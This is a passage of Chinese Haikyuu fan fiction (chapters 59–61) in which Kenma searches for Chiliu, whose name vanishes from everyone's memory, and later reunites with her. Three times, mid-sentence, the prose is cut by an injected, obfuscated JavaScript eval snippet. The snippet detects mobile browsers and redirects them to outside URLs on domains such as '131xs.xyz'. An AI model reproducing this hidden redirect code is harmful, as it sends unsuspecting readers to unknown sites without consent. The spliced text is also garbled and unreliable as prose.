最开始,孤爪研磨也萌生过当YouTuber的念头。不过当时是打算做游戏实况起家,毕竟那是自己感兴趣的领域。 但这个名为「Distance」的账号是作为旅游博主被众人熟知。 * 「你有没有一个瞬间怀疑过我们的世界以什么方式而存在」 「你觉得“我们”是由什么构成的」 我们,毫无疑问是由“记忆”构成的,关于过往的记忆塑造了现在的自己。 孤爪研磨一直这么认为。 所以,最初对这个世界的可靠性产生质疑,是千流说,自己所接触不到的群体,具有「删去记忆」的能力。 那假如记忆能被篡改呢? 我们该依靠什么断定眼前的人是和自己有着珍贵回忆的人,而另一个人是素不相识的路人。 显然,千流给出的回答无法说服他。 他只能认为千流值得信赖,但千流背后的群体是否值得信赖,千流即使是他们中的一员,但她知道这个世界的真相吗? 第二个佐证,是突然出现的,自称“阎王”的家伙。无论是装扮还是浮夸的出场特效,浑身上下写着「不可信赖」。 假如和那位阎王说的一样,千流有一位很关心她的师傅,以千流的性格,她不可能从来不提及。 孤爪研磨下意识地看了眼千流,毫不意外地捕获到她讶异的神情。 即便如此,他还是假装没有发觉。 被掩埋的真相可以通过自己的能力发现,一直以来所有的游戏都是通过这种方式通关的。 * 千流说「任务完成」的那天,自称“阎王”的家伙又找上了他。 不知为何,明明是那样的存在,这位“阎王”看起来就跟纸糊的老虎一样,只要静静地看着他,阎王的眼神就开始飘忽不定、四处打转。 「我可以满足你一个愿望。」 在之前就隐晦地向千流确认过这个问题的答案,她也表达过,比起那个世界,自己更喜欢作为「人」生活着。 但孤爪研磨犹豫了。 他担心“隐晦”的确认会出错,假如自己的愿望对千流来说是一种束缚,突如其来的转变会不会让她觉得不适应。 “假如她愿意。”研磨说,“可以让她以人的当时存在于这个世界上吗。” 对于「阎王」来说,这个愿望看起来一点也不难,他完全没有露出诧异的表情,果断地同意了。 生与死对他们来说是这么轻易就可以跨越的吗? 熟知游戏剧情套路的研磨早已自己编排了一堆「人鬼情未了」的脑内小剧场。 也想好了要是「阎王」不同意,自己可以用和千流完成任务的成就,证明自己的价值,以此博得一个鬼界打工人的机会。 他有百分之九十的把握说服眼前的鬼。 轻而易举得来的幸福像飘渺的云。 ——当时的他也没有想到那是长达两年的分别。 * 小黑最先让他的猜疑成为现实。 “怎么在学中文了研磨。”小黑说,“让我先猜猜。” “是不是中国哪个游戏厂商出了一个新游戏,勾起了你对中国文化的兴趣?” “不是。”研磨对电话里的小黑说,“之前不是跟你说过吗,有一个中国的网友。” “虽然我和她一直是用日语沟通的,但要是我学会了中文,说不定会吓她一跳。” 完蛋。 说太多了。 感觉会被小黑追着调侃,说一通“哦~你居然会这么想吗”,这类的话。 研磨有些脸热,想要挂断手里的电话。 对面的黑尾却久久没有说话。 半晌,他困惑的声音传来:“…你真的跟我说过吗,怎么一点印象都没有。” …… “喂喂,研磨,怎么不讲话?” “我懂,是不是玩游戏上头了?” 思绪乱成一团,勉强剥出其中的一根线索。 「千流说过,因为任务的要求,会消除黑尾关于这些事的记忆。」 “我记错了,才不是玩游戏玩上头了。” “我真的有一个中国的网友…骗你干嘛?” “你这次别忘了。” 黑尾:“什么叫这次啊?这种事我怎么会忘。” …… “怎么在学中文了,研磨?”小黑问。 研磨在心中默念,下一句会是… “先别说,让我猜猜。” 这是第十三次尝试,这段对话也重复了十三遍。每一次只要谈到千流的存在,第二天小黑就会跟被人抹去了记忆一样,什么也记不住。 “不用猜是「中国厂商新出的游戏勾起我对中国文化的兴趣了」。” “哈,你这家伙开发出了什么未卜先知的招数吗?” 只是因为这样的对话已经重复了十三遍。 “想学而已。”他说。 类似的实验他对不同人尝试过。 比如在饭桌上对妈妈突然说:“妈妈我有喜欢的人了。” “那太好了。”她说,“是个什么样的女孩子啊?” “她叫江千流。”研磨观察着她,在心里倒数三、二、一。 研磨妈妈困惑地看向他:“怎么不吃饭,研磨?” 她也忘记了。 假如这个世界存在着审核,那「江千流」三个字就像审核设定的违禁词一样,从「记忆」这个文本里被抹消。 为什么唯独有他留下关于这一切的记忆? 在重复了不知道多少遍后,有一个瞬间,连他自己都开始怀疑,这一切是不是自己的「臆想」。 * 去一趟中国吧,他想。 自己完全不了解中国的南方地区,也没有看过类似的地理书籍,如果千流并不存在,那她成长的城市也应该不存在。 只要验证了这一点就可以知晓一切。 “暑假要去中国玩?”研磨妈妈想了想,“确定不和铁朗一起去吗,还能有个伴。” “不用了。” “好吧,要是去了研磨能开心点。”研磨妈妈看着研磨怔愣的神情,笑了笑,“就算你现在已经是大孩子了,妈妈我也是最了解自家小孩的人。” “对不起…让你担心了。” “自从研磨上高中,你知道妈妈最大的忧虑是什么吗?” 研磨不解地摇摇头。 “那就是——我家孩子让我担心的事情越来越少了,简直跟一晃眼,就长成了大人,偶尔妈妈也会因为这种事情有点失落。” “好了好了。”研磨妈妈看了看自家跟呆木头一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15393342|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样的傻孩子,“有什么要准备的自己准备好,妈妈我去做面膜了……” * 听说研磨要一个人去中国玩,黑尾没有说什么,只是拿出了自己的相机。 “这次我不去,你可要拍多点有意思的风景带回来。” 他提前在网上搜索了关于「千流江」这条江流过的城市,好在有相关的词条。 周围都是名气不大的江南小镇,旅游业也并不发达,国内关于它的资讯都少的可怜。 坐飞机到中国后,要转动车,他复习着自己做好的攻略。 抬头往窗边望去,刚好是天空的蓝调时刻。 天空由暖色调转入冷色调,时间从白天驶入黑夜。 下了飞机后,只需要将近一小时,就能坐动车抵达。 这所不算大的城市只有一个商业中心,他提前在那里订了酒店。 用不算流利的中文和酒店的前台办理完入住手续后,研磨独自一人撑伞走在城镇里。 天空淅淅沥沥地下着小雨,针线似地织成网,整座城市像被雨变模糊了,或许是他自己的记忆变模糊了。 他发现自己无法根据几条小巷与相似的建筑风格,断定那就是自己记忆中的城镇。 还好有导航在。 他顺着耳机里导航指引的路线,走在这座城市间。 不远处,几辆小推车连成一片,即使下着雨也贩卖吆喝着。 很不巧,他听不懂方言,对本就不擅长中文的日本人来说,更是雪上加霜。 好不容易穿过「热情」小摊贩们的重重包围,研磨又迎面撞上了另一辆小推车,耳畔传来仍然听不懂的方言,他只好弯腰鞠躬“我听不懂,不好意思”。 一抬头,小推车上的锅炉悠悠地冒着炊烟,在昏黄的一盏灯下摇摇晃晃,晃到掌勺的老爷爷银白色的头顶上。 “爷爷耳朵不好,要大声叫他才听得见…” 记忆里慈眉善目的爷爷与眼前的人重合。 说不上是什么心情。 是记忆并非臆想的喜悦,还是一切依然被雾笼罩着、由此萌生的茫然,他也分不清。 馄饨爷爷这回身边有个老伴,爷爷看了研磨几眼,叫来了自己的老伴,侧身说了些什么。 “要吃馄饨吗,孩子。”奶奶叫住了愣神的研磨,他点点头,坐在被大棚遮住的座位上。 “今天下雨天,生意不大好。”奶奶会说普通话,语速也比较慢,研磨能够跟上她的速度。 “奶奶你们认识一个叫千流的女生吗?” “你是千流的朋友啊。”她回忆,“她第一次来我们馄饨摊的时候,就那么一丁点大。” 奶奶伸手比划了一下:“跟颗小豆芽菜一样。” “不过现在也长很高了。”奶奶顿了顿,“说起来,最近都没有见过千流了。” “老头子,你最近见过千流吗?” 爷爷把满满一碗的馄饨放在研磨面前的桌板上,他抬头,奶奶又用了方言大声地问了他一遍。 爷爷的目光在研磨身上徘徊了一会儿。 清亮的眼睛变得有点混浊。 “这老头子真是犯糊涂了,怎么会不记得千流了……”奶奶的语速渐渐放缓,她怔愣着,目光穿过研磨,看向细雨连绵的天幕,又回扣到研磨身上。 “…千流,是谁?” 59.捉狐狸注意事项 14 热腾腾的馄饨汤冒出的雾气把世界打湿。 他听见自己用发涩的声音回应一脸困惑的馄饨奶奶:“没事的。” 汤的上方浮着几粒葱花,过去记忆里特别的馄饨再吃一次也和回忆里的不同。 “虽然我们不认识这个女孩子,可能帮不上你的忙。”馄饨奶奶说,“但是光听名字就知道,应该是个很可爱的女生吧。” 研磨点点头,付了钱后礼貌地跟两人道别。 [简直就像在捉弄他。] [好不容易找到了线索,又让线索在自己的面前消失,就好像——] 研磨的脚步一顿。 [就好像自己向他们说出千流的名字,才是真正抹去了她的存在。 他很庆幸自己在这么心烦意乱的情况下,大脑还在下意识地思考着。 自己和馄饨铺的爷爷之前见过面,他这头金黄色的头发也算有标志性,毕竟千流总是抗议“为什么霓虹的高中允许学生染头发”,说明他的特征在中国很少见。 然而馄饨铺的爷爷像没有见过他一样。 ——听到千流的名字却有反应。 过去玩过的游戏曾有这样的设定,一旦两个互斥的属性出现在同一处,就会自动“格式化”。 假定这个世界也存在这样的设定,那“互斥的属性”是什么?他和千流吗? 那千流背后的存在没有理由让他们遇见,之前做的一切都没有意义了。 他们承诺的“让千流用人的身份回到这个世界”,真的可靠吗? 研磨刻意让自己不去构想另一种,千流不愿意重逢的可能性。 手机彰显着它的存在,在口袋里震动。 “小黑。” 黑尾:“总算接电话了,你这家伙,到了也不报平安。” “对不起。” “...我的耳朵没有坏掉吧,你不该说小黑你是妈妈吧,这种话吗?” 黑尾:“所以去中国没有找到想见的人吗?还是人家不想见你,这么焉焉的。” 小黑连自己相见谁都记不住,但纯靠自己推测却能猜到零星的答案。 “什么叫她不想见我啊,这才第一天。” 黑尾听着手机另一端开始反驳的研磨,感觉研磨的心情稍稍明朗了。 “我给你的摄像机带着没,你可是还有别的任务的,那就是给我拍旅行视频。” 研磨垂眸,看向挂在自己脖子上那有分量的摄像机,很遗憾,今天还没有开盖。 “让我猜猜,你应该是目前联系不上想见的人吧。” “不说话?那就是猜中了。我就知道,绝对是因为地址和联系方式都没有,才会难倒你。” “没想到小黑对我这么有信心。” 他自己都没有这么自信。 黑尾:“拜托,你这家伙可是有前科的好吗。我记得有一次猛虎因为哪次失利,那么二愣子的人像道心破碎了一样,一整天都没来排球部联系,夜久他出面都不管用。结果你发了一条消息,猛虎就过来了。” “我到现在还好奇,你那天到底发了什么?” “那个吗。”研磨的眼前出现了河堤,涓涓流水淌过,“阿虎不让说。” 其实是自己“偶然”在猛虎的置物架发现了一本非同寻常的杂志,所以通知他最好趁早回来拿。 “我说,要是联系不上的话,做YouTuber怎么样?” “比如说把中国行拍成vlog发到网上,然后在文案写什么——寻你千里。” “小黑,最近是看了什么寻亲综艺吗?” 好可怕的想法。 “我是在很认真地给你出主意诶!!!” 利用网络进行传播吗? “如果真的要传给本人看到,那一定要很有影响力才行吧。” 黑尾欠嗖嗖的:“那怎么了,你怕了?” “你在说什么啊,小黑,我只是在陈述该怎么做而已。”研磨轻轻笑了笑,“要[很有影响力]。” “小黑的方案有点老龄化,不过我已经有优化的想法了。” “哈?!!!”电话那端的小黑马上就要用怨气穿透手机。 “总之谢谢小黑了。”研磨抢先一步挂断。 想要被足够多的人看到,首先要有新意。 虽然自己连“阎王”有没有兑现诺言都不知道,但总要做些什么。 而且他想到了一些方案和想要验证的东西。 如果,提到千流的名字就会让人产生“失忆”的效果。那假如在足够广泛的范围里给更多的人灌输关于“千流”的印象,就像在网络中传染病毒。 [它们]会对大范围的病毒置之不理吗? 不知不觉间,研磨已经走到了桥的中央,朝远处看去,一块石墩立在那里,上面明晃晃地写着“千流江”。 他举起相机,开始了第一处取材。 * 研磨静静地看着评论区里众人的反应。 [守护每一位独立游戏制作人:虽然画面很粗糙,互动点也很少,但剧情真的很好!整体能够打四分,坐等新作品,不过只有我一个人这么觉得吗...女主的名字真的好难记,是因为中文名吗?] [三花猫天下第一甜:楼上,不止你一个人这么觉得。] ...... [华夏女子不会输:我是中国人,我也记不住女主名字,真是见鬼了。] 他运用像素化软件把实景转化成了游戏背景图,用这种方法制作了一个有些简陋的互动视频,再用自己之前通关高难度游戏的录像来引流,果然获得了不错的流量。 除此之外,千流留下的、[它们]制作的道具面板也派上了用场。 “你买这么多加强器有什么用?”研磨问。 “这个东西明明就很物美价廉啊,只需要五积分,而且我发现了一件事。”千流得意洋洋,“这个不止可以装在系统道具上。” 他们那时候刚完成了[帮助失忆棒球少年提高技术]的任务。 千流跑向自动发球机。 “见证奇迹的时候到了。” 研磨突然有种不详的预感。 下一秒,自动发球机跟火炮机一样,以超高的速度发射棒球,险些要把墙砸穿。 千流连忙收回加强器。 “是不是很bug,要是我们把它用在烤箱上,做面包的时间就会缩短一大半。” ——发现了这种东西居然用来做面包吗。 研磨满头黑线,但还是乖乖地把它装到了烤箱上。 但没想到多买的道具会在这时候派上用场。 他盯着转发键,突然萌生了一些想法,于是便试着把脑海中面板里的加强器拖到手机屏幕里的转发键上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15406231|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随后,转发量成倍增长。 ——成功了。 甚至有人给这个视频做起了二创。 如果自己没有猜错的话,那些人应该很快就会找上门来。 余光里,出现了一处蓝色隧道般的物体。 和过去见到的一样,“阎王”带着它的五毛钱出场特效从蓝色隧道中蹦了出来。 研磨攥紧了衣袖。 首先要保持冷静,尽量套话,然后说出自己的诉求...... “喂,我说!”阎王好像比他更不冷静,身侧的火苗一炸一炸的,“你都干了些什么啊。” “你知不知道我最近加了多少班,熬了多少夜,忙得到处跑。” 它骂骂咧咧:“有没有人体谅我的心情,还有道具面板,为什么会在你手里啊。” 小八絮絮叨叨的声音逐渐变弱。 从它自带AI数据分析功能的“眼睛”来看,研磨现在的情绪构成是“警惕+敌意”。 突然有点想念[玩家]了。 研磨和[阎王]一点都不熟。 它嚣张的气焰一下子全灭了。 “不管你是怎么拿到加强器的,我现在都会回收它。” 和原先设想的不一样,对方似乎不是全知全能的存在。 并不知道自己从千流那里取得了道具面板。 它似乎以为自己手中只有一个加强器。 实则拥有十个加强器的研磨恰到好处地露出懊悔的神情。 小八干脆利落地从手机上取下加强器。 “我大概知道你想问什么。”小八叹气,“其他东西都不能说,总之我们推进千流回到这里也要一些时间吧。” “具体的时间呢?” 小八揉揉自己的脑袋:“下一年的东大入学时间。” 研磨面无表情的样子真是吓死统了。 它气鼓鼓地忍受这一切。 ——总有一天这两人都会为他们对统的行为感到羞愧! 虽然在心里放下大话,但小八还是找准时机跳进自己的蓝色隧道中,一溜烟地跑走了。 * [秋实:千流!我想起来为什么有一种熟悉的感觉了!] [秋实:分享了一条视频链接] [秋实:这个博主叫Distance,他最早的作品是一个像素风的互动视频,女主角也是中国人,我觉得你们俩的互动方式和这个视频里的一样好磕。] [秋实:你要不要看看!有一段时间在日本可火了,不过突然转发量就变低了,但是质量还是很不错啊!!我玩着有种又甜又忧伤的感觉。] 消息栏一直弹出秋实小姐热情的安利。 千流的心情却有点复杂。 刚和小黑见完面,涨涨的脑子勉强记住了研磨答应要把账号告诉自己。 于是一起床就兴高采烈地打开手机。 比秋实的消息更早到来的是昨晚研磨就发来的讯息。 好巧不巧,研磨的账号名刚好也叫Distance呢。 所以,你是说,我的男朋友把我俩做成了互动视频里的主角吗。 包在漆黑的被窝里,手机屏幕的光把千流的面庞映得更红了些。 心里念叨着“这怎么好意思看”,手还是老老实实地点开了秋实发来的链接。 (作者有话说里有情报梳理) 60.捉狐狸注意事项 15 * 互动视频的开篇,黑色蘑菇力脑袋的像素小人盯着泛着蓝光的电子屏幕,专心致志地玩着游戏。 伴随着一阵诡异的呼啸风声的响起,像素小人的头上弹出一个巨大的问号。 屏幕弹出三个选项。 [A:置之不理,接着玩游戏] [B:感到一股寒意,哭着叫妈妈] [C:去窗边查看] 提前知晓答案的我,自然毫不犹豫地——选择了B. 我满怀期待地等着看像素小人哭哭啼啼的样子。 像素小人头上的气泡框弹出一串[......] 像素小人突然突脸,并且给了我一拳。 [他的勇气值过高,拒绝了你的选项,径直走向窗帘] 弹幕滑过一片[其实只有一个选项,合理怀疑作者懒得做哭泣小人的动画] 遗憾的我只好继续观看。 “啪嗒”一下,窗帘自己卷了起来,把小人包成了麻花。 一个黑色长发的像素小女孩出现在屏幕里,她扒拉开窗帘,让蘑菇力脑袋露出一颗头。 [怎么样,被吓一大跳了吗] [.....] [弹幕:发现了,蘑菇力脑袋的真实身份是小金鱼,从开篇到现在所有的台词都是吐泡泡。] 小女孩:[嗯?被吓傻了吗?我不是坏鬼。] 蘑菇力内心:[嗯,是傻鬼。] 小女孩:[其实我失忆了,但我心里一直有个声音告诉我,只要找到自己的记忆就能回家,你可以帮帮我吗!] 蘑菇力:[为什么找我?] 小女孩:[因为你看起来就像个好人。] 蘑菇力:[......] [反正最近很无聊,帮帮她吧。] 原来不是完全还原我和研磨过去的游戏走向吗? 我的金手指被剥夺了。 [该做些什么来帮她恢复记忆呢?] [A:带她去试试吉他,看看她有没有学习乐器的天赋。] [B:带她去玩棒球,看看她有没有运动天赋。] [C:带她一起玩游戏,看看她有没有游戏天赋。] 好难抉择,我还是贯彻了选B的策略。 [棒球发球机开始运转了。] [她聚精会神,摆好姿势,聚焦于发球机。] 发球机吐出了一颗中等速度的球。 她全力一挥。 棒球棍飞了出去。 很遗憾,看起来她应该没有跟运动有关的珍贵回忆。 我看着弹幕刷过的一堆[哈哈哈哈哈哈哈] [太夸张了吧哈哈哈哈哈哈] 本人却笑不出来。 ——虽然没有把棒球棍甩出去,但我和研磨打羽毛球的时候,确实有把羽毛球拍甩飞的黑历史。 我板着脸,拉回进度条,选了C。 画面里的两个小人一路过关斩将,轻松通关。 小女孩:[我想起来了!!!其实我是一个难得的天才。] 蘑菇力:[玩游戏玩的好,在别的领域有可能是笨蛋。] [解锁了一条情报] [她很擅长打游戏,自称是天才] 什么叫“自称”啊喂。 你们一起出门,路上遇到一个老奶奶在蹒跚着过马路。 小女孩:[我们去背老奶奶过马路吧!] 蘑古力:[我们两个的体格根本背不动。] 她说不用担心,她有解决办法。 半信半疑的蘑古力还是选择和奶奶这么说。 [老奶奶乐呵呵地询问,真的背得动她吗] [不知为何,她似乎看不见“鬼”] 蘑古力蹲下身。 犹豫中的老奶奶突然感受到一股力气将自己提起,她浮在了蘑古力的背上。 ——女孩把奶奶拎了起来。 为了不让老奶奶被吓一大跳,蘑古力只好配合着做出“背老奶奶”的姿势。 老奶奶慈祥地拍了拍蘑古力的肩膀。 [小伙子的力气蛮大啊。] [......] 我抱着手机笑出了声。 研磨的剧情走的是天马行空的诙谐路线吗。 屏幕里,女孩拍了拍自己的胸脯。 [做好事不留名,我是当代活雷锋。] 雷锋? 蘑古力询问这个人物是谁。她表示顺口就说了,疑似是刻在DNA里的本能回答。 他们查阅了资料,发现雷锋是位乐于助人的中国人。 [弹幕:知识以奇怪的方式进入了我的大脑。] [解锁了一条新情报] [她很有可能是中国人。] 不过中国的国土过于辽阔,仅凭这点无法确认她的家乡。 蘑菇力和小女孩是体验派玩家,他们选择了“触景生情”的大记忆恢复术。 两人来到了一家中式糕点铺。 小女孩用像素豆豆眼目光炯炯地扫射一批糕点,在店员没有注意的时候把它们送进碟子。 [仅仅一分钟,满满一盘的糕点就被一扫而空了] 蘑菇力:[怎么样?] 她笑得很灿烂,气泡框也跟着冒出:) 小女孩:[都很好吃!] 蘑菇力:[......] [是问对哪种更有印象] [解锁了一条情报] [对中国南方的糕点更熟悉] 画面一转,碰巧是烟花大会的日子,街上的人摩肩接踵。 小女孩:[我家也有这样的小溪] 不知道她想起了什么。 蘑菇力注意到她的身体更透明了,像素小人揉了揉眼睛,又觉得自己是眼花了。 可能夜晚的烟火过于绚烂,照得鬼魂的身形都明明灭灭的。 她突然看到了什么,悄悄在蘑菇力身边说了几句话。 蘑菇力犹豫地点点头。 下一秒,两人闪现到一个小豆丁般的女孩子面前,飘在蘑菇力脑袋身后的她犹如变魔术一般,让一只气球缓缓飘起。 蘑菇力脑袋身为嘴替,结结巴巴地:[送给你。] 小女孩:[记得跟她说要天天开心!] 蘑菇力:[要天天开心.....] [解锁了一条情报] [她应该是个非常外向的好人,不知道是怎么变成鬼怪的,总之让她回到朋友和家人身边,他们应该都会很开心。] 如果我的感受没有出错的话,在像素版千流把气球变出来的那一刻,远景的夜空绽放的烟花好像隐隐约约把远山上的小字照亮了些。 我拖动进度条,摁下暂停键。 [送给小时候的你自己] 我怔愣地看向屏幕,在弹幕一片[哈哈哈哈哈哈哈][博主懒得做新建模了],我才发觉小豆丁长得跟缩小版的像素千流一样。 心脏像被烘烤的面包,软乎乎地膨胀起来。 说从来没有羡慕过有大人买气球的小孩,那才是谎话。 但人要一直向前走,就要说服自己变得坚强一点。 ——不过有人扒开了你的盔甲,偷偷送来了一个过去想要的气球。 要是研磨送给我,我大概会别扭着、感谢他的好心,然后把气球收下。 再故作潇洒地说:“现在的千流已经有了很多更珍贵的东西。” 所以那个气球并没有那么重要。 但他偏偏借我的手,送给了小时候的我自己。 我摸了摸发涩的鼻尖,把这一幕截图下来,发给研磨。 接着看剧情的发展。 以另一个视角,我才发现小蘑古力脑袋“恶劣”的一面。 比如他真的很喜欢逗像素千流。 包括但不限于在两人闯关过游戏的时候,佯装失误地把怪引到还没有拿到道具的像素千流旁。 ——每个男生都有这样讨人嫌的时刻,研磨也不例外。 现在从这种视角来看,从前被忽视的一些相处细节一下浮现在了脑海里。 我敲字:[研磨,拍合照的时候是不是故意不把花装到取景框(生气)] [研磨:刚睡醒。] [千流:拜托,已经中午了] [研磨:酒鬼千流。什么都忘了?] 确实有点断片。 研磨的消息如滔滔江水般涌来。 [研磨:昨天,你说——好想吐,让我再陪你一会,不要回家] 我看着屏幕的瞳孔剧烈震动。 [研磨:然后我给你煮了醒酒汤,好不容易让你喝下去,所以回家比较晚。冰箱里还有一碗,醒了就记得热一下喝。] [千流:......] [千流:口说无凭。] [对方发来了一条视频] 我战战兢兢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15426011|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地点开。 醉鬼千流跟八爪鱼一样手脚缠住研磨。 “不要回去了嘛。” 我从研磨的眼眸里看出了短暂的挣扎,但他还是义正言辞的拒绝了。 “行呗,你就走呗。” 我不愿承认那个胡搅蛮缠的人是我自己,那一定是千流的第二人格。 “咦,你拿着手机干嘛呢?” “取证。” “防止某人醒来之后不愿承认。” 我猛然退出这条视频。 [千流:......] [千流:我去接着看研磨的大作了,再见!] 即使是在打打闹闹的相处下,两个像素小人的互动也甜得让屏幕外的我咧嘴笑。 某天,像素千流和蘑古力脑袋说:[其实我最近的记忆恢复了很多。] [你想来我的家乡看看吗?] [......] 画面突然像故障的老式电视,雪花屏伴着刺啦刺啦的声响。 下一秒横切到一本泛黄的日记,上面的文字一经写下就即刻消散,只有几张零零散散的风景照。 [我有一个只有自己见过的“朋友”,没有人能证明她的存在。] [找回记忆后,她就消失了。] [我担心有一天,连自己记忆里的她都变模糊了。] [当记忆都被一道抹去的时候,还有什么能证明对方的存在?] ...... [直到我再度看到了那些风景。] [比起记忆,情感或许是更加深刻的存在。] 蘑古力像素小人的头发已经变成了金黄色,现在是焦糖布丁小人。 他恍惚地翻开那本日记,上面空空如也,只有几张风景照。 名为Distance的配乐恰到好处地切入。 在静默的画面里,像素小人捧着相册,一动不动。 随后突然笑得弯下腰,缓缓地擦了擦眼角泛出的泪花。 他拿起笔。 [虽然不知道这是什么时候拍下的照片。] [但那时候一定发生过很开心的事情。] * [千流:怒目而视jpg.] [千流:也没人跟我说是be啊!!!] [千流:不许这么写了,研磨大博主。] [研磨:那段时间有些负能量,所以才不打算给千流看。] 假如没有世界融合。 我忍不住这么想。 说不定故事就跟研磨想象的那样发展下去。 我摇摇头,把丧气的想法丢出大脑。 [千流:但现实根本没有像那样发展,我也来到了这里。] 我突然很想见到研磨。 于是打去了一个视频电话。 手机屏幕里满满当当地出现了一只湿发研磨,发丝上的水珠滴落到锁骨上。 我的视线立马胡乱飘转,故作镇定:“怎么一起床就去洗头了。” 他看着我不争气的样子,了然地低声笑了下。 不守猫德! 我摸了摸发烫的耳垂,轻咳一声。 “研磨同学。” “我在。” 怎么和siri一样。 “下次请在账号上更新甜甜的饭,我将亲自指导。” “恭候指导。” “不过我看你后面有更新弹吉他的视频,我可以把它弄成手机铃声吗?” “饶了我吧。” 我抱着抱枕,嘴角漾着笑意。 “研磨。” “嗯?” “我现在觉得,不管有没有气球,只要我们在一起,就是足够幸福的事情。” 他默不作声地发来一个链接。 我点开。 一只三花猫猫拽着几十只气球,飘飘悠悠地飞向湛蓝广阔的天空。 “这是一个很简单的编程,就算是现在的千流也做得来。” 他好像很少说这样的话,有点磕磕绊绊。 “我想说的是。” “现在的千流已经有把过去的梦想通通实现的能力了。” “......” “怎么不说话了,还不露脸,是不是我说的有点奇怪?” 我把头埋在大鹅玩偶的肚子里。 咸咸的眼泪都能拌饭吃了,还怎么露脸。 原来人在很幸福的时候,也会掉眼泪。 61.捉狐狸注意事项 16 我把脑袋从大鹅的肚子里抬起。 伸长的手偷摸着搭上手机,关上摄像头。 屏幕里只有焦糖布丁脑袋的大头,以及右上角咸鱼千流的头像。 我深呼吸,调整自己的气息,在确认不会露馅后。 “那什么...手机摄像头坏了。” 好烂的借口,要是现实中说过的话可以撤回就好。 我偷偷观察那端的研磨。 他的表情立刻宕机片刻,垂眸看向手机屏幕,像是在搜索什么。 随后,我接收到了一条链接。 ——手机摄像头突然失灵了怎么办。 怎么我说什么他都信啊。 我决定哪天对研磨采取反诈培训。 “等打完电话我就试试看。” “那要先挂了吗?”我问。 “还想多听一会千流的声音。” 我的耳朵酥酥麻麻的,一下说不出话。 “不可以吗?” 他看起来好像很失落。 心脏突然塌下去一角。 “可以的。” 研磨这是在撒娇吗? “千流知道在东京大学见到你的时候我在想什么吗?” 回想起来,那时候的我真的不大像话,以为研磨是幻觉,所以把他当成空气忽视掉了...... 他应该不大开心吧。 “我在想,这次见面发型都没变,千流怎么还认不出来人。” “还是千流的系统面板在我这,所以我变成了【鬼怪】” “于是想起来第一次见面,你把我包在窗帘里。这次我也有机会这么干了。” 他莞尔,即使是我那样的反应,在他看来好像也是一件值得开心的事。 我戳了戳屏幕里他的脸。 “千流。” “嗯?” “小黑在我家留了一个月饼,快到中国的中秋节了吧,要一起吃吗?” 还未等我反应过来,他说:“我待会送过来吧,大概一个小时。” 我走到卫生间,审视一番镜子里的自己,眼角有一点点红,但不仔细看并不明显。 * 电话的那端被挂断了。 研磨拿起吹风机,三两下把头发吹干了。 他翻箱倒柜一番,叹了口气。 看来家里并没有月饼的存货,还好跟千流说一个小时之后到她家,四十分钟去买个月饼,时间绰绰有余。 ——隔着电话,抽纸和清嗓的声音依然听得一清二楚。 根本没办法不在意。 他随意套了件薄款的外套。 昨天把千流送回家,大半夜醉鬼小黑打来电话。 醉醺醺的臭味简直顺着电话来到自己身旁了。 “研磨,我好感动。” “我还以为你会跟游戏在一起过一辈子。” 这句话小黑那天晚上已经说了无数遍了。 原来他在小黑心里是注孤寡的性格。 “照顾起来人,还蛮像模像样的啊。” 研磨今天就凭一己之力照顾了两个醉鬼。 下次还是不要让小黑和千流聚在一起。 他的脑海里回忆起当时的画面,两个醉鬼嚷嚷着要用最后一个虾滑打乒乓球。 小黑直言与千流相见恨晚。 千流口无遮拦地回道“其实已经认识很久了”。 明明完全没有对上脑电波,这两个家伙也能相视大笑。 “这么多年了,有一件事我一直没有坦白。” 研磨完全不信小黑有什么事能瞒得过他:“你说吧。” “其实你珍藏起来的那个galgame游戏,之前到你家的时候,我也拿去玩了玩。” 他暂时想不起来是哪一款。 小黑及时解答:“就是那款有黑化囚.禁情节的,那时候才上初中,把我吓了一跳。” 他想起来了。 小黑很不走运,玩了那款自己都看不下去的稍血腥游戏。 “所以,我一直担心,研磨你谈恋爱会不会变成变态。” 小黑异常真诚的语气让研磨一噎。 没有人会把游戏的三观代入现实吧。 他自诩还算三好青年。 ——虽然险些走歪给千流戴上定位器。 “总之,看到你现在这样,我也能跟夜久他们有个好交代了。” ...... 果然是喝醉了吧。 把自己代入辛苦养大孩子的剧情,还把夜久学长他们也编排进自己的剧本。 与其说是自己能够抑制住那些坏情绪。 不如说是千流让那些坏情绪完全没有酝酿的空间。 总是歪打正着地把他从那些负能量的想法里拽出来,不管现状如何,都有一股[一切都能迎刃而解]的自信。 他并不觉得自己处于千流的环境中,能像她这样长大。 坦白说,意识到自己喜欢千流后,再想到那位[写信]的东京人,最初是嫉妒的心情占了上风。 